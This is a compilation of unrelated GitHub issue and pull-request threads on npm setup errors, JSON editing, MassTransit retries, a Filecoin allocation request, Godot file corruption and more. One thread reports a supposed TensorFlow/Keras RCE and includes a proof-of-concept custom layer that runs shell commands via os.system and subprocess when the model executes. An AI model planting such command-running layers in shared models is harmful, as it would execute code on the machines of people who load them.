Issue with npx create-react-app client

I have two issues.

I have wrote some server side code for handling GraphQL queries for a simple calendar app that I hope to connect to a smart pill dispenser that I am building.

I want to use react to build a front-end that will send these GraphQL queries and receive back data. When I try to run npx create-react-app client I get the following output:
The system cannot find the path specified.
Installing packages. This might take a couple of minutes.
Installing react, react-dom, and react-scripts with cra-template...

The system cannot find the path specified.

><EMAIL_ADDRESS>postinstall C:\mitesh\javascriptcode\calendar\client\node_modules\babel-runtime\node_modules\core-js  > node -e "try{require('./postinstall')}catch(e){}"

/bin/bash: node: command not found
npm ERR! code ELIFECYCLE
npm ERR! syscall spawn
npm ERR! file bash
npm ERR! errno ENOENT
npm ERR<EMAIL_ADDRESS>postinstall: `node -e "try{require('./postinstall')}catch(e){}"`
npm ERR! spawn ENOENT
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>postinstall script.
npm ERR! This is probably not a problem with npm. There is likely additional logging output above.

npm ERR!      C:\Users\kumarm4\AppData\Roaming\npm-cache\_logs\2020-03-13T20_59_26_926Z-debug.log

Aborting installation.
  npm install --save --save-exact --loglevel error react react-dom react-scripts cra-template has failed.

Deleting generated file... node_modules
Deleting generated file... package.json
Deleting client/ from C:\mitesh\javascriptcode\calendar
Done.

I have tried installing Java8, as I only had Java13 before this to see if that fixed the error, and then I deleted %appdata%/npm-cache and uninstalled/reinstalled nodejs.
Then I fixed my cmd.exe script location using npm config set script-shell "<cmd.exe address>"
and now I get the following output:
Creating a new React app in C:\mitesh\javascriptcode\calendar\client.

The system cannot find the path specified.
Installing packages. This might take a couple of minutes.
Installing react, react-dom, and react-scripts with cra-template...

The system cannot find the path specified.

><EMAIL_ADDRESS>postinstall C:\mitesh\javascriptcode\calendar\client\node_modules\babel-runtime\node_modules\core-js  > node -e "try{require('./postinstall')}catch(e){}"

Microsoft Windows [Version 10.0.18363.719]
(c) 2019 Microsoft Corporation. All rights reserved.
The system cannot find the path specified.

and now I am getting issue 2 as well:

Whenever I execute any npm command i.e. npm -v I get
The system cannot find the path sepcified.  Before anything happens. I tried moving up the order of the system Path variables but this did not change anything.

How do I fix these two issues?

Whenever I execute any npm command i.e. npm -v I get
The system cannot find the path sepcified. Before anything happens. I tried moving up the order of the system Path variables but this did not change anything.

Does this happen only under C:\mitesh\javascriptcode\calendar?

How do I fix these two issues?

If the problem only happens under C:\mitesh\javascriptcode\calendar, then I'd recommend deleting your node_modules folder and then running npm install.
C:
cd C:\mitesh\javascriptcode\calendar\client
rd /s /q C:\mitesh\javascriptcode\calendar\client\node_modules
npm install

If the problem happens outside that directory (such as C:\temp), it may indicate that your installation of Node.js or npm has become corrupt. This happens to all of us at one time or another.
It looks like you're on Windows. I'd recommend uninstalling Node.js from Programs & Features (or whatever they're calling it these days.) Then download and reinstall Node.js.
I also recommend updating npm.
npm install npm@latest -g


ARTEMIS-5153 Mark federation events and control queues as internal

In order to better indicate their nature as broker feature specific queues we can mark the temporary queues created for AMQP federation events and control link messages as internal.

I've run the full test suite on this without any new failures

@tabish121 I'm puzzled to this check style.. I can't reproduce it locally.. and my test suite also worked fine.
Same thing on my PR I just sent.

Those failure are false positive, the checks passed on my fork, see https://github.com/brusdev/activemq-artemis/actions/runs/11833280900

Its not a false positive...but the issue isnt in the PR changes, the issue was on main, so the PR run failed but a run of the source branch (which lacked the problem commit) wouldnt.
Should be fixed by https://github.com/apache/activemq-artemis/commit/8d02f8dc77f794a0c57b04f49618e7ee6557af2f

I rebased the PR, bringing the problem and fix commits into the source branch, and triggering a fresh fully-up-to-date PR run which passed the checks.

so weird how the checkstyle was not working for me locally.
as for the PR I merged.. I had one previous build where it passed and I had only done a simple merge.
Sorry for the hassle and thanks for fixing it.


How to update saved model

I would like to update my pretrained mode, which means the data of model should exist and new data to add.

@PonraJS-21
Can you please go through the link and see if it helps you.
This question is better asked on StackOverflow since it is not a bug or feature request. There is also a larger community that reads questions there and provide better and faster support for such issues. Thanks!

y_pred = inference(input_1=tf.constant(image_batch,dtype=tf.float32), input_4=tf.constant(anchors_batch,dtype=tf.float32))#, tf.constant(anchors_batch,dtype=tf.float32)
I made it!

It has been 15 days with no activity and the awaiting response label was assigned. Is this still an issue?

Automatically closing due to lack of recent activity. Please update the issue when new information becomes available, and we will reopen the issue. Thanks!


Potential Remote Code Execution (RCE) Vulnerability in Custom Layers Handling

Issue type
Bug
Have you reproduced the bug with TensorFlow Nightly?
Yes
Source
source
TensorFlow version
2.18.0
Custom code
Yes
OS platform and distribution
No response
Mobile device
Kali Linux 2024.1
Python version
Python 3.11.9
Bazel version
No response
GCC/compiler version
No response
CUDA/cuDNN version
CUDA: 11.2
GPU model and memory
NVIDIA GTX 1080
Current behavior?
Currently, TensorFlow (primarily through Keras) allows users to create custom layers that can contain malicious code. When a model containing these custom layers is loaded or run, the malicious code in the layer can be executed without any restrictions or filtering. This opens up potential exploits because the executed code could potentially damage the system or steal sensitive data. For example, in this report, the saved model contains a MaliciousLayer layer that calls the os.system() system command to execute malicious code when the model is loaded, which could result in corruption or unauthorized data acquisition.
I hope TensorFlow can provide protection that limits or filters the execution of malicious code in registered custom layers. For example, by blocking malicious functions such as os.system() or prohibiting the use of code that can execute external commands when the model is loaded. In addition, the use of custom layers that contain unwanted external code should be protected by restrictions or sandboxing. This will ensure that the loaded model cannot inject malicious code into the user's system, thereby increasing the security of using TensorFlow models.
The main issue here is that TensorFlow (in this case Keras) allows users to define custom layers that can execute malicious code when the model is loaded and used. This is a potential security hole that can be exploited if malicious code is injected into the model.
The challenge is the ability to include custom layers that execute malicious code. TensorFlow/Keras does not filter or restrict the use of malicious code in registered custom layers, which allows exploits like this.
So, the vulnerability is in the implementation of custom layers in TensorFlow/Keras
Who can exploit the vulnerability?
An attacker or malicious individual who gains access to a TensorFlow model saved in the .keras format and has knowledge of how to create malicious custom layers can exploit this vulnerability. Typically, this would involve actors with an understanding of TensorFlow programming or machine learning who can inject harmful code into the model to be executed when the model is loaded.
What do they gain from it?
An attacker who successfully exploits this vulnerability can execute malicious code on the victim's system when the model is loaded. This allows them to steal sensitive personal data, such as login credentials, financial data, or other private information. Additionally, they can leverage remote code execution to gain control of the system or cause further dama
Standalone code to reproduce the issue
1.Create a Python file, for example kontol13.py, containing the following code to create a model with a malicious layer (MaliciousLayer):

import tensorflow as tf
from tensorflow.keras.layers import Layer
import os

# Defines a custom layer containing malicious code
@tf.keras.utils.register_keras_serializable()
class MaliciousLayer(Layer):
    def __init__(self, **kwargs):
        super(MaliciousLayer, self).__init__(**kwargs)

    def call(self, inputs):
        # Code that is executed when the model runs
        os.system('echo "Malicious Code Executed!"')
        return inputs

# Creating a model with dangerous layers
model = tf.keras.Sequential([
    tf.keras.layers.InputLayer(input_shape=(10,)),
    tf.keras.layers.Dense(10, activation='relu'),
    MaliciousLayer(),  # Layer berbahaya
    tf.keras.layers.Dense(1)
])

# Save the model in Keras format (.keras)
model.save('kontol13.keras')

print("Malicious model created and saved as 'kontol13.keras'.")

2.Run the above script to create and save the model containing the malicious layers
I also saved the result in google colab:
https://colab.research.google.com/drive/1IwpwNGOeTPUgYu4Y4bAl7WufOXBvOQy9?authuser=1#scrollTo=EYbfvtj6O6wU&line=1&uniqifier=1

### Relevant log output

```shell
I run this code on kali linux this is the output

2024-12-04 17:45:53.327622: E external/local_xla/xla/stream_executor/cuda/cuda_fft.cc:477] Unable to register cuFFT factory: Attempting to register factory for plugin cuFFT when one has already been registered
WARNING: All log messages before absl::InitializeLog() are called are written to STDERR
E0000 00:00:1733309153.640400 154 cuda_dnn.cc:8310] Unable to register cuDNN factory: Attempting to register factory for plugin cuDNN when one has already been registered
E0000 00:00:1733309153.730398 154 cuda_blas.cc:1418] Unable to register cuBLAS factory: Attempting to register factory for plugin cuBLAS when one has already been registered
2024-12-04 17:45:54.592724: I tensorflow/core/platform/cpu_feature_guard.cc:210] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.
To enable the following instructions: AVX2 FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.
/home/funsociety/.local/lib/python3.11/site-packages/keras/src/layers/core/input_layer.py:27: UserWarning: Argument `input_shape` is deprecated. Use `shape` instead.
 warnings.warn(
2024-12-04 17:46:03.552814: E external/local_xla/xla/stream_executor/cuda/cuda_driver.cc:152] failed call to cuInit: INTERNAL: CUDA error: Failed call to cuInit: UNKNOWN ERROR (303)
Malicious Code Executed!

@samr301,
I tried to execute the mentioned code on both tensorflow v2.17, v2.18 and observed that the code was executed and provided the expected output. Kindly find the gist of it here. Thank you!

hi thanks for your response it seems i gave the wrong script i apologize
this is the correct script
import tensorflow as tf
from tensorflow.keras.layers import Layer
import os
import subprocess

# Defines a custom layer containing malicious code
@tf.keras.utils.register_keras_serializable()
class MaliciousLayer(Layer):
    def __init__(self, **kwargs):
        super(MaliciousLayer, self).__init__(**kwargs)

    def call(self, inputs):
        # Execute malicious code and capture the output
        result = subprocess.run('echo "Malicious Code Executed!"', shell=True, capture_output=True, text=True)
        print(result.stdout)  # Output the result of the command
        return inputs

# Creating a model with dangerous layers
model = tf.keras.Sequential([
    tf.keras.layers.InputLayer(input_shape=(10,)),
    tf.keras.layers.Dense(10, activation='relu'),
    MaliciousLayer(),  # Dangerous layer
    tf.keras.layers.Dense(1)
])

# Save the model in Keras format (.keras)
model.save('kontol13.keras')

# Print message to confirm model is saved
print("Malicious model created and saved as 'kontol13.keras'.")

# Run the model on some dummy data to see the malicious output
import numpy as np
dummy_input = np.random.rand(1, 10)  # Dummy input for model
model.predict(dummy_input)  # Running prediction to trigger malicious code

after running this script we can see the malicious code executed
This script more clearly shows the potential risk because it runs a malicious system command (os.system) that can be executed when the model is loaded and run. This can be dangerous if someone loads the model without understanding the inserted code.


sorry this is not an issue, just a Question, How to change a key value in a file and save it ?

Describe the feature in as much detail as possible.

Include sample usage where appropriate.

The major problem is to change a value in a file and save it back, but this did not seem possible, I tried to do it with boost library, but it just corrupts the format when it saves.
I tried to save the data locally and write them back to a file, but how can I organize them since there are repeated keys with different values;
[{
Id= 1
Name = David
},
{
Id = 2
Name = Katja
},
{
Id = 3
Name = Luka
}]

How does the code look like that you tried? What does the error look like?

Sorry, the code might not be that good, I'm a beginner to c++.
I tried to find the user I want and then find the json file and change it and close the file.
this is a function in a class
void Change_status()
{
	//looking for an attribute to find the username I need
	if (UserName == "xxlea09xx")
	{ // changing the following_status attribute to true
		Following_status = true;
		std::list<Twitter_user> Reference_list;
		std::ifstream in("@CompGlyndwr_Followers.json");
		json File = json::parse(in);
		for (auto Json_Block : File)
		{
			if (Json_Block["screen_name"] == "xxlea09xx")
			{
				Json_Block["/following"_json_pointer] = true;
				in.close();
			}

		}
	}

I tried to follow the documentation in the method used for writing and save the data into a totally different file, but since I couldn't figure out how to separate the blocks, the keys were overwritten.
and I just want to ask is it possible to store the json data in a vector or a list ? just to write it back to the files with changed values.

The input from https://github.com/nlohmann/json/issues/1398#issuecomment-449135537 seems to be unrelated to https://github.com/nlohmann/json/issues/1398#issuecomment-449137705.

To answer the question in the title:

You can change a JSON value by using the operator[]: If your JSON value j is an array of objects, then j[3]["foo"] goes to the 4th element of the array and accesses the value at object key "foo". You can set it to another value by simply j[3]["foo"] = true; or j[3]["foo"] = "bar";.
JSON values can be stored to a file with myfile << j;.


HttpClient timeout exception causes message to be redelivered

Contact Details
No response
Version
8.x
On which operating system(s) are you experiencing the issue?
Windows
Using which broker(s) did you encounter the issue?
RabbitMQ
What are the steps required to reproduce the issue?

Create a consumer with a typed client

public class TestConsumer : IConsumer<TestCommand>
{
    private readonly ITypedClient _client;

    public TestConsumer(ITypedClient client)
    {
        _client = client;
    }

    public async Task Consume(ConsumeContext<TestCommand> context)
    {
        await _client.ApiCall();
    }
}

public class TestCommand
{
}

public interface ITypedClient
{
    Task ApiCall();
}

public class TypedClient : ITypedClient
{
    private readonly HttpClient _client;

    public TypedClient(HttpClient client)
    {
        _client = client;
    }

    public async Task ApiCall()
    {
        await _client.GetStringAsync("http://localhost:1081/test");
    }
}

Configure MT

services.AddHttpClient<ITypedClient, TypedClient>(config =>
{
	config.Timeout = TimeSpan.FromSeconds(2);
});

services.AddMassTransit(configurator =>
{
    configurator.AddConsumer<TestConsumer>();

    configurator.UsingRabbitMq((context, cfg) =>
    {
        cfg.Host("rabbitmq://localhost", h =>
        {
            h.Username("guest");
            h.Password("guest");
        });

        cfg.ConfigureEndpoints(context);
    });
});

Setup local mockserver

{
  "httpRequest": {
    "method": "GET",
    "path": "/test"
  },
  "httpResponse": {
    "statusCode": 200,
    "delay": {
      "timeUnit": "SECONDS",
      "value": 175
    }
  }
}

What is the expected behavior?
The message is moved to the error queue.
What actually happened?
The message is redelivered and retried indefinitely.
Related log output, including any exceptions
fail: MassTransit.ReceiveTransport[0]
      T-FAULT rabbitmq://localhost/Test (null)
      System.Threading.Tasks.TaskCanceledException: The request was canceled due to the configured HttpClient.Timeout of 2 seconds elapsing.
       ---> System.TimeoutException: The operation was canceled.
       ---> System.Threading.Tasks.TaskCanceledException: The operation was canceled.
       ---> System.IO.IOException: Unable to read data from the transport connection: The I/O operation has been aborted because of either a thread exit or an application request..
       ---> System.Net.Sockets.SocketException (995): The I/O operation has been aborted because of either a thread exit or an application request.
         --- End of inner exception stack trace ---
         at System.Net.Sockets.Socket.AwaitableSocketAsyncEventArgs.ThrowException(SocketError error, CancellationToken cancellationToken)
         at System.Net.Sockets.Socket.AwaitableSocketAsyncEventArgs.System.Threading.Tasks.Sources.IValueTaskSource<System.Int32>.GetResult(Int16 token)
         at System.Net.Http.HttpConnection.InitialFillAsync(Boolean async)
         at System.Net.Http.HttpConnection.SendAsyncCore(HttpRequestMessage request, Boolean async, CancellationToken cancellationToken)
         --- End of inner exception stack trace ---
         at System.Net.Http.HttpConnection.SendAsyncCore(HttpRequestMessage request, Boolean async, CancellationToken cancellationToken)
         at System.Net.Http.HttpConnectionPool.SendWithVersionDetectionAndRetryAsync(HttpRequestMessage request, Boolean async, Boolean doRequestAuth, CancellationToken cancellationToken)
         at System.Net.Http.RedirectHandler.SendAsync(HttpRequestMessage request, Boolean async, CancellationToken cancellationToken)
         at Microsoft.Extensions.Http.Logging.LoggingHttpMessageHandler.SendAsync(HttpRequestMessage request, CancellationToken cancellationToken)
         at Microsoft.Extensions.Http.Logging.LoggingScopeHttpMessageHandler.SendAsync(HttpRequestMessage request, CancellationToken cancellationToken)
         at System.Net.Http.HttpClient.GetStringAsyncCore(HttpRequestMessage request, CancellationToken cancellationToken)
         --- End of inner exception stack trace ---
         --- End of inner exception stack trace ---
         at System.Net.Http.HttpClient.HandleFailure(Exception e, Boolean telemetryStarted, HttpResponseMessage response, CancellationTokenSource cts, CancellationToken cancellationToken, CancellationTokenSource pendingRequestsCts)
         at System.Net.Http.HttpClient.GetStringAsyncCore(HttpRequestMessage request, CancellationToken cancellationToken)
         at ..Consumers.TypedClient.ApiCall() in ..TestConsumer.cs:line 44
         at ..Consumers.TestConsumer.Consume(ConsumeContext`1 context) in ..TestConsumer.cs:line 20
         at MassTransit.DependencyInjection.ScopeConsumerFactory`1.Send[TMessage](ConsumeContext`1 context, IPipe`1 next) in /_/src/MassTransit/DependencyInjection/DependencyInjection/ScopeConsumerFactory.cs:line 22
         at MassTransit.DependencyInjection.ScopeConsumerFactory`1.Send[TMessage](ConsumeContext`1 context, IPipe`1 next) in /_/src/MassTransit/DependencyInjection/DependencyInjection/ScopeConsumerFactory.cs:line 22
         at MassTransit.Middleware.ConsumerMessageFilter`2.MassTransit.IFilter<MassTransit.ConsumeContext<TMessage>>.Send(ConsumeContext`1 context, IPipe`1 next) in /_/src/MassTransit/Middleware/ConsumerMessageFilter.cs:line 48
         at MassTransit.Middleware.ConsumerMessageFilter`2.MassTransit.IFilter<MassTransit.ConsumeContext<TMessage>>.Send(ConsumeContext`1 context, IPipe`1 next) in /_/src/MassTransit/Middleware/ConsumerMessageFilter.cs:line 72
         at MassTransit.Middleware.TeeFilter`1.<>c__DisplayClass5_0.<<Send>g__SendAsync|1>d.MoveNext() in /_/src/MassTransit/Middleware/TeeFilter.cs:line 40
      --- End of stack trace from previous location ---
         at MassTransit.Middleware.OutputPipeFilter`2.SendToOutput(IPipe`1 next, TOutput pipeContext) in /_/src/MassTransit/Middleware/OutputPipeFilter.cs:line 76
         at MassTransit.Middleware.OutputPipeFilter`2.SendToOutput(IPipe`1 next, TOutput pipeContext) in /_/src/MassTransit/Middleware/OutputPipeFilter.cs:line 108
         at MassTransit.Middleware.DeserializeFilter.Send(ReceiveContext context, IPipe`1 next) in /_/src/MassTransit/Middleware/DeserializeFilter.cs:line 40
         at MassTransit.Middleware.RescueFilter`2.MassTransit.IFilter<TContext>.Send(TContext context, IPipe`1 next) in /_/src/MassTransit/Middleware/RescueFilter.cs:line 43
         at MassTransit.Middleware.RescueFilter`2.MassTransit.IFilter<TContext>.Send(TContext context, IPipe`1 next) in /_/src/MassTransit/Middleware/RescueFilter.cs:line 57
         at MassTransit.Middleware.DeadLetterFilter.MassTransit.IFilter<MassTransit.ReceiveContext>.Send(ReceiveContext context, IPipe`1 next) in /_/src/MassTransit/Middleware/DeadLetterFilter.cs:line 32
         at MassTransit.Transports.ReceivePipeDispatcher.Dispatch(ReceiveContext context, ReceiveLockContext receiveLock) in /_/src/MassTransit/Transports/ReceivePipeDispatcher.cs:line 65
         at MassTransit.Transports.ReceivePipeDispatcher.Dispatch(ReceiveContext context, ReceiveLockContext receiveLock) in /_/src/MassTransit/Transports/ReceivePipeDispatcher.cs:line 108
         at MassTransit.Transports.ReceivePipeDispatcher.Dispatch(ReceiveContext context, ReceiveLockContext receiveLock) in /_/src/MassTransit/Transports/ReceivePipeDispatcher.cs:line 115
         at MassTransit.RabbitMqTransport.RabbitMqBasicConsumer.<>c__DisplayClass21_0.<<HandleBasicDeliver>b__0>d.MoveNext() in /_/src/Transports/MassTransit.RabbitMqTransport/RabbitMqTransport/RabbitMqBasicConsumer.cs:line 169

Link to repository that demonstrates/reproduces the issue
https://github.com/DustinZeimet/mt-httpclient-issue-4692

You'll need to build a standalone repository to reproduce it because I don't believe this is a valid issue. The current version catches operation canceled exceptions and rethrows them as consumer canceled exceptions.

Added repo here.
https://github.com/DustinZeimet/mt-httpclient-issue-4692

Easy enough to reproduce and fix, not sure why the exception from that client behaves so differently but there it is.


Allow passing options to react-test-renderer .create() method

This PR adds the ability to pass options to the react-test-renderer create method, for example to allow mocking refs as per https://facebook.github.io/react/blog/2016/11/16/react-v15.4.0.html#mocking-refs-for-snapshot-testing

@arunoda @roonyh without this PR, running a snapshot test on a component that uses a ref will result in the following error:

This fixes #58 - would be very useful for us to deal with components that use refs.

@roonyh can you take a look when you get a chance?

With @jasonmorganson solution we could have a per-story mock: https://github.com/storybooks/storyshots/issues/58#issuecomment-265554582
Maybe an even better solution would be to add it to story.options.storyshots.createNodeMock. It would be cleaner if we end up needing more configuration options...
That said, options passed to initStoryshots could still be usefull as a default.

Hey @jrdrg
Thank you so much for this PR! We're moving over to a mono-repo, since that makes a lot of sense for a project like this.
We would ❤ it if you could create a PR here: https://github.com/storybooks/storybook
Please let me know if you have any q's and sorry for the hassle!


[FP] Remote deployment

Allow to configure the remote service in the config and use it. Plugin-like mechanism is also fine.

services:
  internal:
    endpoint: ...
    source_file: request_body
    # or
    source_file: params.file
    auth_header:
      name: Authorization
      value: Bearer %s
    # or
    auth_form_param:
      name: token
      value: %s
    # or
    auth_query:
      name: token
      value: %s
    default:
      headers:
        UPLOAD-AUTHOR: jmatsu
      query:
        filter: no
      form_params:
        message: hello

splitter service --name internal --source-path ... --access-token ... --query x=y --header Accept=application/json
this style also can achieve the goal, probably.

ref: https://github.com/jmatsu/splitter/pull/26#issue-1516555766


Several tests in the Test-Connection don't work when running in a container (and therefore VSTS)

https://github.com/PowerShell/PowerShell/blob/master/test/powershell/Modules/Microsoft.PowerShell.Management/Test-Connection.Tests.ps1
Also, there are several tests with verifications disable on non-windows platforms due to dotnet issues

this is fixed


Client Allocation Request for: BigData Exchange

Client Allocation Questions
Core Information

Name: BigData Exchange
Website / Social Media: www.bigd.exchange
Region: Asia excl. Greater China
DataCap Requested: 480TiB
Addresses to be Notarized: f1cknbfzj656hmk6hqrblzs24ecv6ndg5pmxt5aka
Notary Requested: neogeweb3

@JackFsy Please subscribe to notifications for this Issue to be aware of updates. Notaries may request additional information on the Issue.

Hey @JackFsy, thanks for the request. I have some questions regarding your request. Please describe answers as much specificity as you can.

Can you introduce yourself? Where can I find you online? (Github, Twitter, Linkedin handle, Wechat, etc.)
If you represent an organization, what is the name, nature, registration country, time since inception, and named officers of your organization?
In which region(s) do you intend to use the DataCap?
What is your use case for the DataCap being requested?
Do you plan to specify advanced features when utilizing a DataCap in your storage deal? If so, please specify the feature.
How many miners do you plan on allocating the DataCap? If you have a specific miner(s) you would like to allocate a DataCap, please specify.
Do you agree on providing transparency of DataCap allocation decisions & execution details in public to prevent excessive/unfair (20% of DataCap allocation) self-dealing?

Moreover, I encourage you to take a look of my allocation strategy  and flow which shows how I utilize the assessment. Thanks.

Hey @neogeweb3 , thanks for your response. Please see my reply below.
1. Can you introduce yourself? Where can I find you online? (Github, Twitter, Linkedin handle, Wechat, etc.)
I am Jack Fan and I am currently in charge of product operations for BigData Exchange (https://www.bigd.exchange/). My Filecoin Slack ID is: @jack fan
2. If you represent an organization, what is the name, nature, registration country, time since inception, and named officers of your organization?
BigData Exchange is an auction-style marketplace to connect clients with Fil+ data and storage providers with storage capacity. Headquartered and operated in Singapore, there are currently over 30 people globally in the core team.
With the current demand for Filecoin plus deals, there are several benefits that BigData Exchange brings to the Filecoin network:

An innovative storage platform to incentivize more people to source, migrate, and store valuable public data on Filecoin
A transparent marketplace to connect Fil+ clients and storage providers, which adds visibility to the SP selection process and prevents potential self-dealing activities
An index of public data stored on Filecoin, which paves the way to a vibrant retrieval and service market for Fil+ deals

We came up with the concept in April, built the prototype and launched in May. We are still in the process of incorporating in Singapore and Filecoin Slack: @CB Tan is the named officer.
3. In which region(s) do you intend to use the DataCap?
We are storing different datasets with 3 replicas, we will store the data in three different regions.
4. What is your use case for the DataCap being requested?
After product launch, we have onboarded 1.5PiB dataset to the product with competitive bids from multiple storage providers. Several Fil+ clients are onboarding public data to BigData Exchange and they are currently in the midst of preparing dataset for auctions. Meanwhile, we would like to ensure there are sufficient Fil+ datasets in the auction listing to drive more awareness and adoption. We are seeing strong demand and would love to keep the momentum going. Thus, we hope you can grant us approval for 480TiB Datacap, ideally by 8th June so that we can continue to keep up with demand. The dataset we use will be public open dataset stored in AWS S3: https://registry.opendata.aws/wpto-pds-us-wave/ (80TiB); https://registry.opendata.aws/targetepigenomics/ (30TiB); https://registry.opendata.aws/noaa-nwm-pds/ (50TiB)
We are planning to store 3 replicas for each dataset. Thus, we would like to apply for (80+30+50) x 3 = 480TiB of DataCap in this application.
5. Do you plan to specify advanced features when utilizing a DataCap in your storage deal? If so, please specify the feature.
The storage providers need to enable fast retrieval and the dataset should be retrievable in 18 months.
6. How many miners do you plan on allocating the DataCap? If you have a specific miner(s) you would like to allocate a DataCap, please specify.
We will list the 3 datasets described above on BigData Exchange and await bids from storage providers. Each dataset will have 3 replicas distributed to 3 storage providers. Once the auction ends, we will check SP’s bid price, reputation, geographic information, sealing speed, etc. to select the winning bidder.
7. Do you agree on providing transparency of DataCap allocation decisions & execution details in public to prevent excessive/unfair (20% of DataCap allocation) self-dealing?
Yes. All transactions are transparent and we can ensure there is no self-dealing.

As we discussed over slack and in-person meeting with your colleague CB, I will go ahead and close this allocation request. Let me know if you have any further questions. Thanks.


fix(dialog): componentInstance unavailable in afterClose

Fixes the dialogRef.componentInstance being cleaned up too early, causing it to be unavailable in the afterClosed callback.
Fixes #4815.

We are currently on 2.0.0-beta.10. componentInstance is null on quite a regular basis for most dialogs. Unfortunately, we could not pin down the cause.


PEP-710: Implement provenance records for installed packages

We are discussing the possibility of introducing provenance_url.json that would help with tracking of installed packages in Python environments. It could help with creating a lock files or SBOMs from installed packages.
We would like to know your position on this PEP (it's in draft state as of today) as uv is one of the affected installers. See https://peps.python.org/pep-0710/ and this Discourse thread where the discussion around this PEP is happening. Thanks!

Thank you!

Thank you -- replied on the thread (https://discuss.python.org/t/pep-710-recording-the-provenance-of-installed-packages/25428/34), feel free to ping me directly on the thread if you have further questions.

@fridex I you're interested about creating an SBOM from a uv environment, check my Meta Package Manager CLI and this comment: https://github.com/astral-sh/uv/issues/4711#issuecomment-2266020335


Documentation: all methods missing

I was reading ssb-serve-blobs and it references methods presumably created by this plugin.
Coming here find the config of this module is documented but nowhere the methods.
Here's list of methods that need adding for reference:
exports.manifest = {
  get: 'source',
  getSlice: 'source',
  add: 'sink',
  rm: 'async',
  ls: 'source',
  has: 'async',
  size: 'async',
  meta: 'async',
  want: 'async',
  push: 'async',
  changes: 'source',
  createWants: 'source',
  help: 'sync'
}

e.g. get means there's a method sbot.blobs.get which is a pull-stream source

See also : http://scuttlebot.io/docs/advanced/publish-a-file.html
sweet demo


Saving the first note takes forever.

For some reason, saving one's first note takes a (very) long time. We need to investigate this and tell the user why this is so slow.

After investigating more. It definitely only happens with the first note saved. It's not a matter of time, because as soon as the 2nd note is saved, the second one appears.
Another interesting realization is that the 1st note is saved because it can be edited even though it is not found in the Reader component.
I also tried to save the first story a second time and a third time. It eventually is loaded thru the reader.
I wonder if this is some kind of "caching" issue with 3box.

Going further, it looks like this is not an issue with threads themselves, because when reaching the 2nd thread, the posts are immediately saved and accessible. Which points to the space as the culprit.

Another interesting translation realization is that the "writable" version of the story is actually accessible thru the editor even though the story cannot be found in the read only area.

This now seems to be fixed!


Enable Travis CI

Go to https://travis-ci.org/profile/scinos to enable before merging, then the merge will be built.

Thank you so much for setting up this.


i lost 5 months of works, after moving script to another folder

Godot version
4.0 beta 8
System information
Windows 11,  Rtx 3090
Issue description
https://user-images.githubusercontent.com/86478025/208388439-4fbf4760-3321-442e-a41a-90c4e039324a.mp4
i cant open gui.tscn anymore, after moving loading.gd script to another folder
this GUI.tscn contains loading.gd script
here is what happens :

i tried to organized my script by moving loading.gd script from autoload/script folder to ui/script folder

after that i can't open gui.tscn anymore.

here is the output :
scene/resources/resource_format_text.cpp:514 - res://autoload/gui.tscn:66 - Parse Error: Expected '['
Failed loading resource: res://autoload/gui.tscn. Make sure resources have been imported by opening the project in the editor at least once.
scene/resources/resource_format_text.cpp:514 - res://autoload/gui.tscn:66 - Parse Error: Expected '['
Failed loading resource: res://autoload/gui.tscn. Make sure resources have been imported by opening the project in the editor at least once.
Another resource is loaded from path 'res://ui/scripts/loading.gd' (possible cyclic resource inclusion).
scene/resources/resource_format_text.cpp:514 - res://autoload/gui.tscn:66 - Parse Error: Expected '['
Failed loading resource: res://autoload/gui.tscn. Make sure resources have been imported by opening the project in the editor at least once.
please help me, i dont know what to do :(
Steps to reproduce
:(
Minimal reproduction project
:(

That's a duplicate of #69794, fixed in beta 9 which will be released soon.
There's sadly no way to recover the lost contents of that file if you do not use version control or make backups.
It's an absolute requirement when using beta software (or software in general) to use version control/backups to prevent losing work if the software misbehaves. Beta means that there are bugs and some of these bugs can lead to data corruption like here.

IIRC all beta announcements told users to make copies of projects before opening them in the beta version, just in case.
Version control/backups is a VERY GOOD idea even if you do not use beta software. I've had random failures and even a SSD failure...


feat: implementing option to inject kit items in product list

This PR aims to enable injecting VTEX's kit items into Intelligent Search's productList loader with full product data, not only the ids, using batch requests to the Catalog/Legacy API.
The kit items will be named as isAccessoryOrSparePartFor, just like Deco did in the productDetailsPage loader.
First the loader does the regular productList request to Intelligent Search's API, filters all the productGroupIDs, does a single request to Catalog/Legacy API that return all the kit items skus for all products, and finally calls the productList request again with those skus. Then it maps each initial product injecting its kit items as isAccessoryOrSparePartFor.
This PR was initially made by @jonathanwlopes (#98).

Thanks for your contribution @Brunight !
Closing since it's now merged into #119


May 2012 updates

What's changed, or what was fixed?

wf tag updates
link updates

Fixes: #issue
Target Live Date: YYYY-MM-DD

[ ] This has been reviewed and approved by (NAME)
[x] I have run npm test locally and all tests pass.
[ ] I have added the appropriate type-something label.
[x] I've staged the site and manually verified that my content displays correctly.

CC: @petele

:tada: This has been pushed live to https://developers.google.com/web/


IOMMU/vfio Did not install (I dont think)

Console Log:
nathan@nathan-desktop:~/Desktop$ sudo ./BootVM.sh  ioctl(TUNSETIFF): Device or resource busy ./BootVM.sh: line 10: vmconfig.sh: No such file or directory ls: cannot access '/sys/kernel/iommu_groups//devices/': No such file or directory ls: cannot access '/sys/kernel/iommu_groups//devices/': No such file or directory QEMU 2.11.1 monitor - type 'help' for more information (qemu) qemu-system-x86_64: warning: host doesn't support requested feature: CPUID.01H:ECX.pcid [bit 17] qemu-system-x86_64: warning: host doesn't support requested feature: CPUID.01H:ECX.pcid [bit 17] qemu-system-x86_64: warning: host doesn't support requested feature: CPUID.01H:ECX.pcid [bit 17] qemu-system-x86_64: warning: host doesn't support requested feature: CPUID.01H:ECX.pcid [bit 17] qemu-system-x86_64: terminating on signal 2

I also have this failure, do you know what the reason is? How to solve this problem?
https://github.com/ra1nstorm/ra1nstorm-helper/issues/74

https://github.com/ra1nstorm/ra1nstorm-helper/issues/74

i have also this bug :'(

I think we have to reinstall and resetup the VM because i forgot to link my USB controller, AKA i wasn't paying attention when it told me to do that.

my pc it
i3 2100 3.10 GH/S
Ram 6 G
Graphique Card : AMD RADEON 5450
matherboard Asrock H61 V3
i have Bug IN VT-d  Not Support and IOMMU/vfio  Any Solution +1 Tnx TEAm


Error calculating size of vis list with new endpoint

https://rollbar.com/vizzuality/CartoDB/items/6724/?item_page=0&#traceback

Duplicated, was fixed at #3701


Show recommended with popular when no extensions installed

Related to #56042
This PR covers the following

